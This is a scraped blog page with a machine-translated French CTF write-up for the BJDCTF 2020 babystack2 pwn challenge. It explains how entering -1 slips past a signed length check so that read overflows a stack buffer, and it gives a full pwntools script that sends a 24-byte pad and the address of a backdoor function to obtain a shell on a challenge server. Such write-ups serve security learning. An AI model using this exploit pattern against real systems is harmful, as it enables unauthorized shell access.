当前位置:网站首页>[CTF] bjdctf 2020 Bar _ Bacystack2
[CTF] bjdctf 2020 Bar _ Bacystack2
2022-07-02 00:18:00 【Delta Hell】
Analyse du sujet
Décompiler,Rechercher des vulnérabilités
mainFonctions:
undefined8 main(void)
{
undefined local_18 [12];
uint local_c;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
local_c = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let\'s try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf(&DAT_004009c1,&local_c);
if (10 < (int)local_c) {
puts("Oops,u name is too long!");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("[+]What\'s u name?");
read(0,local_18,(ulong)local_c);
return 0;
}
backdoorFonctions:
undefined8 backdoor(void)
{
system("/bin/sh");
return 1;
}
Le sujet est clair. , La fonction porte arrière est déjà fournie , Il suffit de sauter. .
Regarde encoremainFonctions,read La fonction est évidemment un point d'utilisation ,Utiliser des variableslocal_c Pour créer un débordement .
Bien sûr.,Ce n'est pas si simple., Jugement avec limite de longueur avant
if (10 < (int)local_c)
Mais,C'est aussi simple.,Pas vrai? Débordement de plastique , Nombre entier négatif , C'est tout. ~~~
Il s'est avéré,C'est tout à fait vrai., Mais le processus est trop tortueux ,Description simple:
Le débordement local échouera ,InubuntuAllez.,Entrée-1,readRenvoie directement;InwindowsExpérience supérieure,Entrée-1,read La fenêtre apparaîtra ,Conseils
buf len < INT_MAXConditions non remplies, C'est évident. ,read Limite d'entrée . Ça fait longtemps. , Aucune solution trouvée , Parce que la limite de longueur est dépassée ,
Doit utiliser un nombre négatif , Sinon, il ne peut pas déborder. ,Et même siINT_MIN,Convertir en nombre non signé,Toujours.2147483648,Toujours> INT_MAX;Un instant.
Je doute de la vie. .
Comment résoudre le problème
La pensée est le processus d'analyse du sujet ci - dessus ,Tout à fait., Vérification directe de la cible oui OKDe,-1 Peut dépasser la limite de longueur ,En même tempsreadPas d'erreur(Pleurer sans larmes)
from pwn import *
sh = connect("node4.buuoj.cn",27462)
sh.recvuntil("name:\n")
print("recv name length")
sh.sendline('-1'.encode())
print("send name length")
sh.recvline()
pad = 'A'*24
payload = pad.encode() + p64(0x00400726)
sh.sendline(payload)
sh.interactive()
Conséquences de l'incapacité de valider localement , C'est la longueur du débordement. .
Résumé
Quand les idées vont bien , Détecteur de cibles en temps opportun . Mais il est intéressant d'ajuster la machine. , Bien qu'aucun résultat final n'ait été trouvé ,Par exemple,ubuntuAllez.,J'ai écrit un test.demo, Supprimer la vérification de la longueur ,RésultatsreadPas plus de3652Pas de problème,Heures supplémentaireserrnoJe vais le signalerBad address,Suivez - moi.windows Ce n'est pas pareil. ,Mais3652 Ça n'a aucun sens. , Je doute encore de la vie. ~~~ C'est fini. , Il y a un ton à l'arrière. glibc On verra ça plus tard. .
边栏推荐
- Difficult to get up syndrome (bit by bit greed)
- USB-IF协会与各种接口的由来
- JS——图片转base码 、base转File对象
- leetcode96不同的二叉搜索樹
- EMC circuit protection device for surge and impulse current protection
- [QT] test whether QT can connect to the database
- ThreadLocal内存泄漏是什么,怎么解决
- Is it safe to buy funds on Great Wall Securities?
- SQL数据分析之流程控制语句【if,case...when详解】
- Windows installation WSL (II)
猜你喜欢

Gaussdb (for MySQL):partial result cache, which accelerates the operator by caching intermediate results

Mysql database driver (JDBC Driver) jar package download

SQL数据分析之子查询的综合用法和案例题【耐心整理】

比较通俗易懂的PID理解
![Jielizhi, production line assembly link [chapter]](/img/f8/20c41ffe9468d59bf25ea49f73751e.png)
Jielizhi, production line assembly link [chapter]

RPA tutorial 01: Excel automation from introduction to practice

使用多线程Callable查询oracle数据库

PWN attack and defense world cgpwn2
![Comprehensive usage and case questions of sub query of SQL data analysis [patient sorting]](/img/24/d9a48a0f76cde65421edda04d0f854.png)
Comprehensive usage and case questions of sub query of SQL data analysis [patient sorting]

Huawei HMS core joins hands with hypergraph to inject new momentum into 3D GIS
随机推荐
Heketi record
Operate database transactions with jpatractionmanager
SQL数据分析之流程控制语句【if,case...when详解】
Using multithreaded callable to query Oracle Database
UVM tutorial
Windows10 install WSL (I) (wslregisterdistribution error)
ThreadLocal内存泄漏是什么,怎么解决
JS——图片转base码 、base转File对象
PWN attack and defense world cgpwn2
Cmake engineering related
一个实习生的CnosDB之旅
Node——Egg 创建本地文件访问接口
九州云与英特尔联合发布智慧校园私有云框架,赋能教育新基建
LeetCode中等题题分享(5)
时间复杂度与空间复杂度
Leetcode medium question sharing (5)
攻防演练复盘
.env.xxx 文件,加了常量,却undefined
- Oui. Env. Fichier XXX, avec constante, mais non spécifié
Linux CentOS7安装Oracle11g的超完美新手教程